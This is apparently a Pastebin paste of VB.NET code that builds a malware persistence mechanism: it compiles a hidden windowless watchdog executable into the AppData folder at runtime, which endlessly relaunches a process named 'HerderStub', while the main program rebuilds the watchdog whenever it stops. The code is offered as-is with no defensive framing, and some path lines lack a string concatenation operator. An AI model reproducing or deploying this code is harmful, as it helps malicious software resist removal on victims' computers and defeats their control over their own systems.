Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Region "Special Bits"
- Public Function Retrnres(ByVal prs As String) As Boolean
- Dim runin As Boolean = Process.GetProcessesByName(prs).Length > 0
- If runin Then
- Return True
- Else
- Return False
- End If
- End Function
- Public Sub killprocess(ByVal processname As String)
- Dim proc() As Process = Process.GetProcesses
- For i As Integer = 0 To proc.GetUpperBound(0)
- If proc(i).ProcessName = processname Then
- proc(i).Kill()
- End If
- Next
- End Sub
- Public Sub Persist()
- build()
- Dim t As New Threading.Thread(AddressOf PersistBack) : t.Start()
- End Sub
- Public Sub build()
- Dim source As New StringBuilder
- source.AppendLine("Imports System")
- source.AppendLine("Imports System.Net")
- source.AppendLine("Imports Microsoft.VisualBasic")
- source.AppendLine("Imports System.Reflection")
- source.AppendLine("Imports System.Runtime.CompilerServices")
- source.AppendLine("Imports System.Runtime.InteropServices")
- source.AppendLine("Public Class Simple")
- source.AppendLine("Shared Sub Main")
- source.AppendLine("Dim t As New System.Threading.Thread(AddressOf Lols) : t.Start()")
- source.AppendLine("End Sub")
- source.AppendLine("Shared Function Rtrn() As Boolean")
- source.AppendLine("Dim runin As Boolean = System.Diagnostics.Process.GetProcessesByName(""HerderStub"").Length > 0")
- source.AppendLine("If runin Then : Return True : Else : Return False : End If")
- source.AppendLine("End Function")
- source.AppendLine("Shared Sub Lols()")
- source.AppendLine("While (True)")
- source.AppendLine("If Not Rtrn() Then : System.Diagnostics.Process.Start(""HerderStub"") : End If")
- source.AppendLine("End While")
- source.AppendLine("End Sub")
- source.AppendLine("End Class")
- Dim s As String = source.ToString
- Dim codeProvider As New VBCodeProvider()
- Dim pref As New System.CodeDom.Compiler.CompilerParameters()
- pref.GenerateExecutable = True
- pref.OutputAssembly = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) "\outputloc.exe" 'Call that after successful build and run.
- pref.CompilerOptions = "/target:winexe"
- pref.ReferencedAssemblies.Add("System.dll")
- pref.TreatWarningsAsErrors = False
- pref.IncludeDebugInformation = False
- Dim compile As System.CodeDom.Compiler.CompilerResults = New VBCodeProvider().CompileAssemblyFromSource(pref, s)
- For Each ce As System.CodeDom.Compiler.CompilerError In compile.Errors
- Exit Sub
- Next
- Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) "\outputloc.exe")
- End Sub
- Public Sub PersistBack()
- While _per = True
- If Not Retrnres("outputloc") Then
- build()
- End If
- End While
- killprocess("outputloc")
- End Sub
- #End Region
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement